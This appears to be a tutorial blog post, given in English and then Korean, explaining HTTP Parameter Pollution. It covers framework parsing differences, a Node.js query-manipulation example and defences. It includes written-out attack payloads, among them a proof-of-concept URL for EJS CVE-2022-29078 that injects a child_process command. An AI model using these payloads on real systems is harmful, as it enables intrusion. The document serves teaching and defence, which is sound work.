HTTP Parameter Pollution

HTTP Parameter Pollution

in

Overview

HTTP Parameter Pollution (HPP) is a web security vulnerability that exploits differences in how web applications process duplicated parameters. This attack technique is often used as a stepping stone to trigger other vulnerabilities or bypass security measures.

What is HTTP Parameter Pollution?

HPP occurs when an attacker sends multiple parameters with the same name to a web application. Different web frameworks, servers, and technologies handle these duplicated parameters in different ways:

  • Some take the first occurrence of the parameter
  • Some take the last occurrence
  • Some concatenate all values
  • Some create an array of values

This inconsistency in parameter processing creates security vulnerabilities when applications don’t properly validate input parameters.

How Different Technologies Handle Duplicated Parameters

Here’s how various technologies process duplicated parameters:

Technology Parsing Result Outcome when parameters are duplicated (par1=a&par1=b)
ASP.NET/IIS All occurrences a,b
ASP/IIS All occurrences a,b
PHP/Apache Last occurrence b
PHP/Zues Last occurrence b
JSP,Servlet/Tomcat First occurrence a
Perl CGI/Apache First occurrence a
Python Flask First occurrence a
Python Django Last occurrence b
Node.js All occurrences a,b
Golang net/http - r.URL.Query().Get("param") First occurrence a
Golang net/http - r.URL.Query()["param"] All occurrences a,b
IBM Lotus Domino First occurrence a
IBM HTTP Server First occurrence a
Python/Zope All occurrences in array [‘a’,’b’]

Exploitation Techniques

Basic Duplicated Parameters

The simplest form of HPP involves sending multiple parameters with the same name:

POST /save_profile HTTP/1.1

account=15442&account=1110&name=aaa

Array Parameters

Some frameworks also handle array-notation parameters differently:

POST /save_profile HTTP/1.1

account[]=15442&account[]=1110&name=aaa

Real-World Examples

Example 1: SQL Injection Bypass in Node.js

Consider this Node.js login function that implements a prepared statement in its database query:

async function doLogin(id, pw) {
    const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
    if (result.length === 1) {
        return result[0]._id;
    }
}

And a route that doesn’t properly validate input:

app.post('/auth', async (req, res) => {
    const {id, pw} = req.body;
    const isRegister = 'register' in req.body;
    
    await db.doRegister(id, pw)
    return res.redirect('/auth');
}

By sending parameters like:

id=admin&pw[pw]=asdfasdf

The query becomes:

SELECT * FROM users WHERE id = admin AND pw = pw = asdfasdf

This leads to a SQL syntax error that might be exploitable.
This is main idea of Dreamahck Wargame(CProxy-inject)

Example 2: EJS Template Injection (CVE-2022-29078)

The EJS templating engine had a vulnerability when user input was directly passed to res.render():

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log("Example app listening on port ${port}")
})

An attacker could exploit this using HPP with an HTTP request like:

http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//

Prevention Measures

  1. Validate Input Parameters: Always validate and sanitize all input parameters.
  2. Use Parameter Whitelisting: Only accept expected parameters with expected values.
  3. Avoid Direct Parameter Assignment: Don’t directly assign request parameters to database queries or templates.
  4. Use Framework Security Features: Many frameworks offer built-in protection against parameter pollution.
  5. Implement WAF Rules: Configure your web application firewall to detect and block suspicious parameter patterns.

Conclusion

HTTP Parameter Pollution is a subtle but powerful technique that can lead to serious security vulnerabilities. Understanding how your technology stack handles duplicate parameters is important for building secure web applications. Always implement proper input validation and consider HPP as part of your threat modeling process.

Remember that HPP is often used as a stepping stone to trigger other vulnerabilities, making it particularly dangerous when combined with other attack techniques.

개요

웹 요청을 보낼 때 ?id=admin&id=guest처럼 같은 이름의 파라미터를 두 번 넣으면 서버는 과연 어느 쪽을 받아들일까요? 사실 정답이 정해져 있지 않습니다. 프레임워크마다, 서버마다 제각각이거든요. HTTP Parameter Pollution(HPP)은 바로 이 “제각각인 처리 방식”의 틈을 파고드는 웹 보안 취약점입니다. 그 자체로 치명타를 날린다기보다, 다른 취약점으로 넘어가거나 보안 장치를 슬쩍 우회하는 발판으로 자주 쓰이죠.

HTTP Parameter Pollution이란?

HPP는 공격자가 같은 이름의 파라미터를 여러 개 보낼 때 시작됩니다. 앞서 말했듯 웹 프레임워크, 서버, 기술 스택마다 이 중복 파라미터를 처리하는 방식이 다른데요. 크게 보면 이렇습니다.

  • 첫 번째 값만 취하거나
  • 마지막 값만 취하거나
  • 모든 값을 이어 붙이거나
  • 값들을 배열로 묶거나

이렇게 파싱 결과가 제각각이다 보니, 애플리케이션이 입력 파라미터를 제대로 검증하지 않으면 그 틈에서 취약점이 생기는 겁니다.

기술 스택별 중복 파라미터 처리 방식

그럼 각 기술이 중복 파라미터를 실제로 어떻게 처리하는지 표로 살펴보겠습니다.

기술 파싱 방식 중복 시 결과 (par1=a&par1=b)
ASP.NET/IIS 모든 값 a,b
ASP/IIS 모든 값 a,b
PHP/Apache 마지막 값 b
PHP/Zues 마지막 값 b
JSP,Servlet/Tomcat 첫 번째 값 a
Perl CGI/Apache 첫 번째 값 a
Python Flask 첫 번째 값 a
Python Django 마지막 값 b
Node.js 모든 값 a,b
Golang net/http - r.URL.Query().Get("param") 첫 번째 값 a
Golang net/http - r.URL.Query()["param"] 모든 값 a,b
IBM Lotus Domino 첫 번째 값 a
IBM HTTP Server 첫 번째 값 a
Python/Zope 배열로 모든 값 [‘a’,’b’]

공격 기법

기본 중복 파라미터

가장 단순한 형태는 같은 이름의 파라미터를 그냥 여러 번 보내는 겁니다.

POST /save_profile HTTP/1.1

account=15442&account=1110&name=aaa

배열 파라미터

여기서 한 발 더 나가면, 일부 프레임워크는 배열 표기법([]) 파라미터를 또 다르게 처리하는데요.

POST /save_profile HTTP/1.1

account[]=15442&account[]=1110&name=aaa

실제 사례

사례 1: Node.js에서의 SQL Injection 우회

말로만 들으면 감이 잘 안 오니 실제 코드를 봅시다. 아래는 prepared statement로 쿼리를 짠, 언뜻 안전해 보이는 Node.js 로그인 함수입니다.

async function doLogin(id, pw) {
    const result = await query("SELECT * FROM users WHERE id = ? AND pw = ?", [id, pw]);
    if (result.length === 1) {
        return result[0]._id;
    }
}

그런데 아뿔싸, body에서 넘어온 HTTP 파라미터를 전혀 검증하지 않고 있네요.

app.post('/auth', async (req, res) => {
    const {id, pw} = req.body;
    const isRegister = 'register' in req.body;
    
    await db.doRegister(id, pw)
    return res.redirect('/auth');
}

여기에 HPP를 이용해 다음처럼 요청을 보내면 어떻게 될까요?

id=admin&pw[pw]=asdfasdf

쿼리가 아래처럼 조립되면서 SQL 문법 오류가 터지고, 이 틈을 파고들면 로그인 로직을 우회할 여지가 생깁니다.

SELECT * FROM users WHERE id = admin AND pw = pw = asdfasdf

실제로 이게 Dreamhack 워게임(CProxy-inject)의 핵심 아이디어였습니다.

사례 2: EJS 템플릿 인젝션 (CVE-2022-29078)

EJS 템플릿 엔진에는 사용자 입력이 res.render()로 곧장 전달될 때 터지는 취약점이 있었습니다. 사실 이미 패치된 취약점이라 코드를 제대로 짜면 공격당하지 않는데요. 문제는 사용자가 부주의하게, 입력값이 그대로 흘러 들어가도록 코드를 짜는 순간 이게 공격 벡터로 되살아난다는 점입니다.

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log("Example app listening on port ${port}")
})

PoC는 아래와 같은데요. 이 취약점을 트리거할 때도 GET 파라미터에 HPP 기법이 녹아 있는 걸 볼 수 있습니다.

http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//

방어 방법

그럼 이런 공격은 어떻게 막을까요? 핵심은 결국 “입력을 믿지 않는 것”입니다.

  1. 입력 파라미터 검증: 모든 입력 파라미터를 검증하고 정제합니다.
  2. 파라미터 화이트리스트: 기대하는 파라미터와 값만 허용합니다.
  3. 직접 대입 지양: 요청 파라미터를 DB 쿼리나 템플릿에 그대로 넘기지 마세요.
  4. 프레임워크 보안 기능 활용: 많은 프레임워크가 파라미터 오염에 대한 기본 보호를 이미 제공합니다.
  5. WAF 룰 적용: 의심스러운 파라미터 패턴을 탐지, 차단하도록 방화벽을 설정합니다.

마치며

HTTP Parameter Pollution은 미묘하지만 은근히 강력한 기법이라, 방심하면 심각한 취약점으로 이어질 수 있습니다. 그래서 내가 쓰는 기술 스택이 중복 파라미터를 어떻게 다루는지 아는 것만으로도 큰 도움이 되는데요. 늘 입력 검증을 챙기고, HPP를 위협 모델링의 한 축으로 넣어 두시길 권합니다.

무엇보다 HPP는 혼자서 끝내는 공격이라기보다 다른 취약점을 여는 발판으로 자주 쓰이고, 다른 기법과 엮일 때 특히 위험합니다. CTF나 워게임에서도 심심찮게 보이니, 알아 두면 언젠가 요긴하게 써먹을 수 있을 거예요.